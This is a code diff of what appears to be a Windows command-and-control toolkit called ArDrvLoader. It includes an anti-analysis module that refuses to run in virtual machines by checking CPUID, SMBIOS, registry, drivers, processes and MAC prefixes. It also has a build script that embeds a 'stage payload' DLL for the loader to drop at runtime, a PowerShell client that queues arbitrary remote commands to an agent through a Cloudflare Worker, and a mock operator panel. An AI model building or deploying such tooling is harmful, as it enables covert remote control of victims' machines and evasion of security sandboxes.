DWORD size = GetSystemFirmwareTable('RSMB', 0, nullptr, 0);
|
||||||
|
|
||||||
|
if (size < 8 || size > 1024 * 1024)
|
||||||
|
return collected;
|
||||||
|
|
||||||
|
std::vector<BYTE> buf(size);
|
||||||
|
DWORD got = GetSystemFirmwareTable('RSMB', 0, buf.data(), size);
|
||||||
|
|
||||||
|
if (got < 8)
|
||||||
|
return collected;
|
||||||
|
|
||||||
|
const BYTE* data = buf.data();
|
||||||
|
DWORD length = got;
|
||||||
|
|
||||||
|
// Raw SMBIOS table: 8-byte header, then structure table.
|
||||||
|
DWORD tableLen = *(const DWORD*)(data + 4);
|
||||||
|
|
||||||
|
if (tableLen == 0 || tableLen > length - 8)
|
||||||
|
tableLen = length - 8;
|
||||||
|
|
||||||
|
const BYTE* p = data + 8;
|
||||||
|
const BYTE* end = data + 8 + tableLen;
|
||||||
|
|
||||||
|
while (p + 4 <= end)
|
||||||
|
{
|
||||||
|
BYTE structLen = p[1];
|
||||||
|
|
||||||
|
if (structLen < 4 || p + structLen > end)
|
||||||
|
break;
|
||||||
|
|
||||||
|
const BYTE* strings = p + structLen;
|
||||||
|
|
||||||
|
// Strings: NUL-terminated ASCII, double NUL ends the list.
|
||||||
|
while (strings + 1 < end && !(strings[0] == 0 && strings[1] == 0))
|
||||||
|
{
|
||||||
|
const char* s = (const char*)strings;
|
||||||
|
size_t len = strlen(s);
|
||||||
|
|
||||||
|
collected += s;
|
||||||
|
collected += ' ';
|
||||||
|
|
||||||
|
strings += len + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
p = strings + 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
return collected;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- registry
|
||||||
|
|
||||||
|
static bool RegKeyExists(HKEY root, const wchar_t* subKey)
|
||||||
|
{
|
||||||
|
HKEY h = nullptr;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(root, subKey, 0, KEY_READ, &h) != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
RegCloseKey(h);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string ReadDiskEnumValue()
|
||||||
|
{
|
||||||
|
std::string out;
|
||||||
|
|
||||||
|
HKEY h = nullptr;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum",
|
||||||
|
0,
|
||||||
|
KEY_READ,
|
||||||
|
&h) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t buf[1024]{};
|
||||||
|
DWORD size = sizeof(buf);
|
||||||
|
DWORD type = 0;
|
||||||
|
|
||||||
|
if (RegQueryValueExW(h, L"0", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
|
||||||
|
(type == REG_SZ || type == REG_EXPAND_SZ))
|
||||||
|
{
|
||||||
|
out = NarrowAscii(buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
RegCloseKey(h);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- network
|
||||||
|
|
||||||
|
static bool HasVirtualMac()
|
||||||
|
{
|
||||||
|
// Vendor OUIs that only appear on virtual adapters.
|
||||||
|
static const BYTE oui[][3] =
|
||||||
|
{
|
||||||
|
{ 0x00, 0x0C, 0x29 }, // VMware
|
||||||
|
{ 0x00, 0x50, 0x56 }, // VMware
|
||||||
|
{ 0x00, 0x05, 0x69 }, // VMware
|
||||||
|
{ 0x00, 0x1C, 0x14 }, // VMware
|
||||||
|
{ 0x08, 0x00, 0x27 }, // VirtualBox
|
||||||
|
{ 0x52, 0x54, 0x00 }, // QEMU / KVM
|
||||||
|
{ 0x00, 0x16, 0x3E }, // Xen
|
||||||
|
{ 0x00, 0x15, 0x5D }, // Hyper-V
|
||||||
|
{ 0x00, 0x03, 0xFF }, // Microsoft virtual
|
||||||
|
{ 0x00, 0x1C, 0x42 }, // Parallels
|
||||||
|
};
|
||||||
|
|
||||||
|
ULONG size = 16 * 1024;
|
||||||
|
std::vector<BYTE> buf(size);
|
||||||
|
|
||||||
|
ULONG ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size);
|
||||||
|
|
||||||
|
if (ret == ERROR_BUFFER_OVERFLOW)
|
||||||
|
{
|
||||||
|
buf.resize(size);
|
||||||
|
ret = GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ret != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
for (PIP_ADAPTER_INFO a = (PIP_ADAPTER_INFO)buf.data(); a; a = a->Next)
|
||||||
|
{
|
||||||
|
for (const auto& prefix : oui)
|
||||||
|
{
|
||||||
|
if (a->AddressLength >= 3 &&
|
||||||
|
a->Address[0] == prefix[0] &&
|
||||||
|
a->Address[1] == prefix[1] &&
|
||||||
|
a->Address[2] == prefix[2])
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- artifacts
|
||||||
|
|
||||||
|
static bool HasVmServices()
|
||||||
|
{
|
||||||
|
static const wchar_t* services[] =
|
||||||
|
{
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VBoxService",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VBoxGuest",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VBoxMouse",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VBoxSF",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VBoxWddm",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vmci",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vmhgfs",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\VMTools",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vmrawdsk",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vmusbmouse",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vm3dservice",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\vmmouse",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\xenvdb",
|
||||||
|
L"SYSTEM\\CurrentControlSet\\Services\\xenbus",
|
||||||
|
};
|
||||||
|
|
||||||
|
for (const wchar_t* s : services)
|
||||||
|
{
|
||||||
|
if (RegKeyExists(HKEY_LOCAL_MACHINE, s))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool HasVmDriversOnDisk()
|
||||||
|
{
|
||||||
|
static const wchar_t* files[] =
|
||||||
|
{
|
||||||
|
L"C:\\Windows\\System32\\drivers\\VBoxGuest.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\VBoxMouse.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\VBoxSF.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\vmmouse.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\vmhgfs.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\vmrawdsk.sys",
|
||||||
|
L"C:\\Windows\\System32\\drivers\\vmusbmouse.sys",
|
||||||
|
L"C:\\Windows\\System32\\VBoxService.exe",
|
||||||
|
L"C:\\Windows\\System32\\VBoxTray.exe",
|
||||||
|
};
|
||||||
|
|
||||||
|
for (const wchar_t* f : files)
|
||||||
|
{
|
||||||
|
DWORD attr = GetFileAttributesW(f);
|
||||||
|
|
||||||
|
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool HasVmProcesses()
|
||||||
|
{
|
||||||
|
static const wchar_t* names[] =
|
||||||
|
{
|
||||||
|
L"VBoxService.exe",
|
||||||
|
L"VBoxTray.exe",
|
||||||
|
L"vmtoolsd.exe",
|
||||||
|
L"vmwaretray.exe",
|
||||||
|
L"vmwareuser.exe",
|
||||||
|
L"VGAuthService.exe",
|
||||||
|
L"qemu-ga.exe",
|
||||||
|
L"xenservice.exe",
|
||||||
|
};
|
||||||
|
|
||||||
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snap == INVALID_HANDLE_VALUE)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
PROCESSENTRY32W pe{};
|
||||||
|
pe.dwSize = sizeof(pe);
|
||||||
|
|
||||||
|
bool found = false;
|
||||||
|
|
||||||
|
if (Process32First(snap, &pe))
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
for (const wchar_t* n : names)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(pe.szExeFile, n) == 0)
|
||||||
|
{
|
||||||
|
found = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (found)
|
||||||
|
break;
|
||||||
|
} while (Process32Next(snap, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(snap);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------- public
|
||||||
|
|
||||||
|
bool IsVirtualMachine(std::wstring* reason)
|
||||||
|
{
|
||||||
|
auto setReason = [reason](const wchar_t* text)
|
||||||
|
{
|
||||||
|
if (reason)
|
||||||
|
*reason = text;
|
||||||
|
};
|
||||||
|
|
||||||
|
if (reason)
|
||||||
|
reason->clear();
|
||||||
|
|
||||||
|
CpuidResult cpu = QueryCpuid();
|
||||||
|
|
||||||
|
// A hypervisor bit alone is not proof: VBS / Credential Guard / Hyper-V
|
||||||
|
// on bare metal sets it too. Strong vendors are decisive.
|
||||||
|
if (cpu.hypervisorPresent)
|
||||||
|
{
|
||||||
|
const std::string vendor = cpu.vendor;
|
||||||
|
|
||||||
|
if (vendor == "VMwareVMware") { setReason(L"cpuid: VMware"); return true; }
|
||||||
|
if (vendor == "VBoxVBoxVBox") { setReason(L"cpuid: VirtualBox"); return true; }
|
||||||
|
if (vendor == "KVMKVMKVM") { setReason(L"cpuid: KVM"); return true; }
|
||||||
|
if (vendor == "XenVMMXenVMM") { setReason(L"cpuid: Xen"); return true; }
|
||||||
|
if (vendor.rfind("TCGTCGTCG", 0) == 0) { setReason(L"cpuid: QEMU TCG"); return true; }
|
||||||
|
if (vendor == "bhyve bhyve") { setReason(L"cpuid: bhyve"); return true; }
|
||||||
|
if (vendor == "VServerVServer") { setReason(L"cpuid: Virtual Server"); return true; }
|
||||||
|
}
|
||||||
|
|
||||||
|
const std::string smbios = ToLowerAscii(ReadSmbiosStrings());
|
||||||
|
|
||||||
|
if (ContainsAny(smbios, { "virtualbox", "vmware", "qemu", "kvm", "bochs", "parallels", "xen", "virtual machine", "hyper-v" }))
|
||||||
|
{
|
||||||
|
setReason(L"smbios: virtual vendor string");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cpu.hypervisorPresent && cpu.vendor == "Microsoft Hv")
|
||||||
|
{
|
||||||
|
// Hyper-V guest: confirmed by SMBIOS containing "virtual machine"
|
||||||
|
// (handled above) or by Hyper-V integration services.
|
||||||
|
if (RegKeyExists(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\vmicheartbeat"))
|
||||||
|
{
|
||||||
|
setReason(L"hyperv: integration services");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HasVirtualMac())
|
||||||
|
{
|
||||||
|
setReason(L"hyperv: virtual MAC");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string diskEnum = ToLowerAscii(ReadDiskEnumValue());
|
||||||
|
|
||||||
|
if (ContainsAny(diskEnum, { "vbox", "vmware", "qemu", "xen", "virtio" }))
|
||||||
|
{
|
||||||
|
setReason(L"disk enum: virtual controller");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HasVmServices())
|
||||||
|
{
|
||||||
|
setReason(L"registry: guest service installed");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HasVmDriversOnDisk())
|
||||||
|
{
|
||||||
|
setReason(L"driver: guest driver present");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HasVmProcesses())
|
||||||
|
{
|
||||||
|
setReason(L"process: guest helper running");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (HasVirtualMac())
|
||||||
|
{
|
||||||
|
setReason(L"network: virtual MAC OUI");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifndef ARDRV_ALLOW_VM_DEFAULT
|
||||||
|
#define ARDRV_ALLOW_VM_DEFAULT 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
bool VmOverrideRequested(int argc, wchar_t** argv)
|
||||||
|
{
|
||||||
|
#if ARDRV_ALLOW_VM_DEFAULT
|
||||||
|
// Built for lab/testing images that are themselves virtual machines.
|
||||||
|
(void)argc;
|
||||||
|
(void)argv;
|
||||||
|
return true;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
for (int i = 1; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (argv[i] && (_wcsicmp(argv[i], L"--allow-vm") == 0 ||
|
||||||
|
_wcsicmp(argv[i], L"-allow-vm") == 0))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t env[64]{};
|
||||||
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_ALLOW_VM", env, _countof(env));
|
||||||
|
|
||||||
|
if (n > 0 && n < _countof(env) && (env[0] == L'1' || env[0] == L'y' || env[0] == L'Y'))
|
||||||
|
return true;
|
||||||
|
|
||||||
|
HKEY h = nullptr;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
DWORD value = 0;
|
||||||
|
DWORD size = sizeof(value);
|
||||||
|
DWORD type = 0;
|
||||||
|
|
||||||
|
bool enabled =
|
||||||
|
RegQueryValueExW(h, L"AllowVm", nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS &&
|
||||||
|
type == REG_DWORD &&
|
||||||
|
value != 0;
|
||||||
|
|
||||||
|
RegCloseKey(h);
|
||||||
|
|
||||||
|
if (enabled)
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
+13
@@ -0,0 +1,13 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
// Returns true when the machine looks like a virtual machine or hypervisor
|
||||||
|
// guest. When 'reason' is provided it receives a short human-readable cause.
|
||||||
|
bool IsVirtualMachine(std::wstring* reason = nullptr);
|
||||||
|
|
||||||
|
// --allow-vm on the command line, ARDRV_ALLOW_VM=1, or AllowVm=1 under
|
||||||
|
// HKLM\SOFTWARE\ArDrvLoader. Any of them disables the VM block.
|
||||||
|
bool VmOverrideRequested(int argc, wchar_t** argv);
|
||||||
+107
@@ -0,0 +1,107 @@
|
|||||||
|
# Small helper for driving the agent: enqueues one command and waits for the ACK.
|
||||||
|
#
|
||||||
|
# powershell -File agent-cli.ps1 -Command "STATUS"
|
||||||
|
# powershell -File agent-cli.ps1 -Status
|
||||||
|
# powershell -File agent-cli.ps1 -Command "PS Get-Process | Select -First 3"
|
||||||
|
#
|
||||||
|
# Uses the same HMAC scheme the agent does, so it works against the mock worker
|
||||||
|
# and the real Cloudflare Worker alike.
|
||||||
|
|
||||||
|
param(
|
||||||
|
[string]$Worker = "http://127.0.0.1:8788",
|
||||||
|
[string]$Agent = "testagent",
|
||||||
|
[string]$Secret = "testsecret",
|
||||||
|
[string]$Command = "",
|
||||||
|
[switch]$Status,
|
||||||
|
[int]$TimeoutSec = 30
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
function Get-Sha256Hex([byte[]]$Bytes)
|
||||||
|
{
|
||||||
|
$sha = [System.Security.Cryptography.SHA256]::Create()
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream }
|
||||||
|
else { $stream = New-Object System.IO.MemoryStream(, $Bytes) }
|
||||||
|
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $sha.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-HmacHex([string]$Key, [string]$Message)
|
||||||
|
{
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACSHA256
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
|
||||||
|
return ([BitConverter]::ToString($hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $hmac.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Invoke-Worker([string]$Path, [string]$Method = "GET", [byte[]]$Body)
|
||||||
|
{
|
||||||
|
if ($null -eq $Body) { $Body = [byte[]]@() }
|
||||||
|
|
||||||
|
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
|
||||||
|
$canonical = "$Agent`n$ts`n$Method`n$($Path.TrimStart('/'))`n$(Get-Sha256Hex $Body)"
|
||||||
|
$headers = @{
|
||||||
|
"X-Agent-Id" = $Agent
|
||||||
|
"X-Agent-Ts" = $ts
|
||||||
|
"X-Agent-Sign" = (Get-HmacHex $Secret $canonical)
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Method -eq "POST")
|
||||||
|
{
|
||||||
|
return Invoke-WebRequest -Method Post -Uri "$Worker$Path" -Body ([byte[]]$Body) `
|
||||||
|
-ContentType "application/octet-stream" -Headers $headers -UseBasicParsing
|
||||||
|
}
|
||||||
|
|
||||||
|
return Invoke-WebRequest -Uri "$Worker$Path" -Headers $headers -UseBasicParsing
|
||||||
|
}
|
||||||
|
|
||||||
|
function Decode-Last([string]$Value)
|
||||||
|
{
|
||||||
|
if (-not $Value) { return "" }
|
||||||
|
|
||||||
|
try { return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($Value)) }
|
||||||
|
catch { return $Value }
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Status)
|
||||||
|
{
|
||||||
|
$s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
|
||||||
|
"agent=$($s.agent) queued=$($s.queued) pending=$([bool]$s.pending)"
|
||||||
|
if ($s.last) { Decode-Last $s.last }
|
||||||
|
exit 0
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $Command)
|
||||||
|
{
|
||||||
|
throw "Usage: agent-cli.ps1 -Command '<command>' | -Status"
|
||||||
|
}
|
||||||
|
|
||||||
|
$before = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
|
||||||
|
$initialLast = $before.last
|
||||||
|
|
||||||
|
$null = Invoke-Worker -Path "/enqueue" -Method POST -Body ([System.Text.Encoding]::UTF8.GetBytes($Command))
|
||||||
|
|
||||||
|
$deadline = (Get-Date).AddSeconds($TimeoutSec)
|
||||||
|
$seenPending = $false
|
||||||
|
|
||||||
|
while ((Get-Date) -lt $deadline)
|
||||||
|
{
|
||||||
|
Start-Sleep -Milliseconds 400
|
||||||
|
|
||||||
|
$s = (Invoke-Worker -Path "/status").Content | ConvertFrom-Json
|
||||||
|
|
||||||
|
if ($s.pending) { $seenPending = $true; continue }
|
||||||
|
|
||||||
|
if ($s.last -and $s.last -ne $initialLast) { Decode-Last $s.last; exit 0 }
|
||||||
|
if ($seenPending -and $s.last) { Decode-Last $s.last; exit 0 }
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "<timeout: agent may still be backing off>"
|
||||||
|
exit 1
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
@echo off
|
||||||
|
rem Wrapper so the helper runs regardless of the machine execution policy.
|
||||||
|
rem
|
||||||
|
rem agent.cmd STATUS
|
||||||
|
rem agent.cmd "PS Get-Date"
|
||||||
|
rem agent.cmd -Status
|
||||||
|
rem agent.cmd -Command "HOST_LIST"
|
||||||
|
|
||||||
|
setlocal
|
||||||
|
|
||||||
|
if "%~1"=="" goto usage
|
||||||
|
|
||||||
|
set "FIRST=%~1"
|
||||||
|
if "%FIRST:~0,1%"=="-" goto asflag
|
||||||
|
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" -Command %*
|
||||||
|
goto end
|
||||||
|
|
||||||
|
:asflag
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -File "%~dp0agent-cli.ps1" %*
|
||||||
|
goto end
|
||||||
|
|
||||||
|
:usage
|
||||||
|
echo Usage:
|
||||||
|
echo agent.cmd STATUS
|
||||||
|
echo agent.cmd "PS Get-Date"
|
||||||
|
echo agent.cmd -Status
|
||||||
|
echo agent.cmd -Command "HOST_LIST"
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:end
|
||||||
|
exit /b %ERRORLEVEL%
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
# Builds the whole package in the right order:
|
||||||
|
# 1. stage payload DLL
|
||||||
|
# 2. copy it next to the project so the loader can pack it as a resource
|
||||||
|
# 3. loader executable
|
||||||
|
#
|
||||||
|
# powershell -ExecutionPolicy Bypass -File build.ps1 [-Configuration Release] [-SkipPayload]
|
||||||
|
#
|
||||||
|
# Without -SkipPayload the result is a single self-contained ArDrvLoader.exe that
|
||||||
|
# carries ardrvstage.dll inside it and drops it into the stage dir at runtime.
|
||||||
|
|
||||||
|
param(
|
||||||
|
[ValidateSet("Debug", "Release")]
|
||||||
|
[string]$Configuration = "Release",
|
||||||
|
[switch]$SkipPayload,
|
||||||
|
[switch]$NoEmbed
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$msbuild = "C:\Program Files\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\MSBuild.exe"
|
||||||
|
|
||||||
|
if (-not (Test-Path -LiteralPath $msbuild))
|
||||||
|
{
|
||||||
|
throw "MSBuild not found: $msbuild"
|
||||||
|
}
|
||||||
|
|
||||||
|
$root = $PSScriptRoot
|
||||||
|
$payload = Join-Path $root "ardrvstage.dll"
|
||||||
|
|
||||||
|
if (-not $SkipPayload -and -not $NoEmbed)
|
||||||
|
{
|
||||||
|
Write-Host "== building stage payload ($Configuration) =="
|
||||||
|
& $msbuild (Join-Path $root "StageDll.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal
|
||||||
|
|
||||||
|
if ($LASTEXITCODE -ne 0)
|
||||||
|
{
|
||||||
|
throw "stage payload build failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
$built = Join-Path $root "x64\$Configuration\ardrvstage.dll"
|
||||||
|
|
||||||
|
if (-not (Test-Path -LiteralPath $built))
|
||||||
|
{
|
||||||
|
throw "payload not produced: $built"
|
||||||
|
}
|
||||||
|
|
||||||
|
Copy-Item -LiteralPath $built -Destination $payload -Force
|
||||||
|
Write-Host "== payload staged at $payload =="
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Write-Host "== payload build skipped =="
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Host "== building loader ($Configuration) =="
|
||||||
|
|
||||||
|
$extra = @()
|
||||||
|
if ($NoEmbed) { $extra += "/p:EmbedPayload=false" }
|
||||||
|
|
||||||
|
& $msbuild (Join-Path $root "ArDrvLoader.vcxproj") /p:Configuration=$Configuration /p:Platform=x64 /m /v:minimal @extra
|
||||||
|
|
||||||
|
if ($LASTEXITCODE -ne 0)
|
||||||
|
{
|
||||||
|
throw "loader build failed"
|
||||||
|
}
|
||||||
|
|
||||||
|
$exe = Join-Path $root "x64\$Configuration\ArDrvLoader.exe"
|
||||||
|
|
||||||
|
if (-not (Test-Path -LiteralPath $exe))
|
||||||
|
{
|
||||||
|
throw "loader not produced: $exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
$dll = Join-Path $root "x64\$Configuration\ardrvstage.dll"
|
||||||
|
|
||||||
|
# The payload only exists to be embedded. Drop the per-config copy so the output
|
||||||
|
# folder is not mistaken for something that has to ship alongside the exe.
|
||||||
|
if (Test-Path -LiteralPath $dll)
|
||||||
|
{
|
||||||
|
Remove-Item -LiteralPath $dll -Force -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
# Single-file deliverable.
|
||||||
|
$dist = Join-Path $root "dist\$Configuration"
|
||||||
|
New-Item -ItemType Directory -Force -Path $dist | Out-Null
|
||||||
|
Copy-Item -LiteralPath $exe -Destination (Join-Path $dist "ArDrvLoader.exe") -Force
|
||||||
|
|
||||||
|
$exeSize = (Get-Item -LiteralPath $exe).Length
|
||||||
|
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "single file : $dist\ArDrvLoader.exe ($exeSize bytes)"
|
||||||
|
Write-Host "build output: $exe (plus .pdb/.ipdb artifacts)"
|
||||||
|
|
||||||
|
exit 0
|
||||||
@@ -0,0 +1,466 @@
|
|||||||
|
# Local stand-in for the Cloudflare Worker.
|
||||||
|
#
|
||||||
|
# Mirrors the D1-backed API in memory so the panel can be exercised without
|
||||||
|
# deploying: same HMAC for agents, same operator key for /api/*, and /panel is
|
||||||
|
# served straight out of worker.js so there is only one copy of the UI.
|
||||||
|
#
|
||||||
|
# powershell -File mock-worker.ps1 -Port 8788 -Secret testsecret -OperatorKey testop -FileDir C:\payloads
|
||||||
|
#
|
||||||
|
# Panel: http://127.0.0.1:8788/panel (key: testop)
|
||||||
|
|
||||||
|
param(
|
||||||
|
[int]$Port = 8788,
|
||||||
|
[string]$Secret = "testsecret",
|
||||||
|
[string]$OperatorKey = "testop",
|
||||||
|
[string]$EnrollSecret = "testop",
|
||||||
|
[string]$FileDir = "."
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$prefix = "http://127.0.0.1:$Port/"
|
||||||
|
$listener = New-Object System.Net.HttpListener
|
||||||
|
$listener.Prefixes.Add($prefix)
|
||||||
|
$listener.Start()
|
||||||
|
|
||||||
|
$state = @{
|
||||||
|
agents = @{}
|
||||||
|
commands = New-Object System.Collections.ArrayList
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-Sha256Hex([byte[]]$Bytes)
|
||||||
|
{
|
||||||
|
$sha = [System.Security.Cryptography.SHA256]::Create()
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if ($null -eq $Bytes -or $Bytes.Length -eq 0) { $stream = New-Object System.IO.MemoryStream }
|
||||||
|
else { $stream = New-Object System.IO.MemoryStream(, $Bytes) }
|
||||||
|
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $sha.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-HmacHex([string]$Key, [string]$Message)
|
||||||
|
{
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACSHA256
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
|
||||||
|
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
|
||||||
|
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $hmac.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-AgentSecret([string]$AgentId)
|
||||||
|
{
|
||||||
|
return Get-HmacHex $Secret ("agent:" + $AgentId)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-Bytes([System.Net.HttpListenerResponse]$Response, [byte[]]$Bytes, [int]$Status = 200, [string]$ContentType = "text/plain; charset=utf-8")
|
||||||
|
{
|
||||||
|
$Response.StatusCode = $Status
|
||||||
|
$Response.ContentType = $ContentType
|
||||||
|
$Response.Headers["Cache-Control"] = "no-store"
|
||||||
|
$Response.ContentLength64 = $Bytes.Length
|
||||||
|
if ($Bytes.Length -gt 0) { $Response.OutputStream.Write($Bytes, 0, $Bytes.Length) }
|
||||||
|
$Response.OutputStream.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-Text([System.Net.HttpListenerResponse]$Response, [string]$Text, [int]$Status = 200)
|
||||||
|
{
|
||||||
|
Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes($Text)) -Status $Status
|
||||||
|
}
|
||||||
|
|
||||||
|
function Send-Json([System.Net.HttpListenerResponse]$Response, $Data, [int]$Status = 200)
|
||||||
|
{
|
||||||
|
Send-Bytes -Response $Response -Bytes ([System.Text.Encoding]::UTF8.GetBytes(($Data | ConvertTo-Json -Compress -Depth 8))) -Status $Status -ContentType "application/json; charset=utf-8"
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-PanelHtml
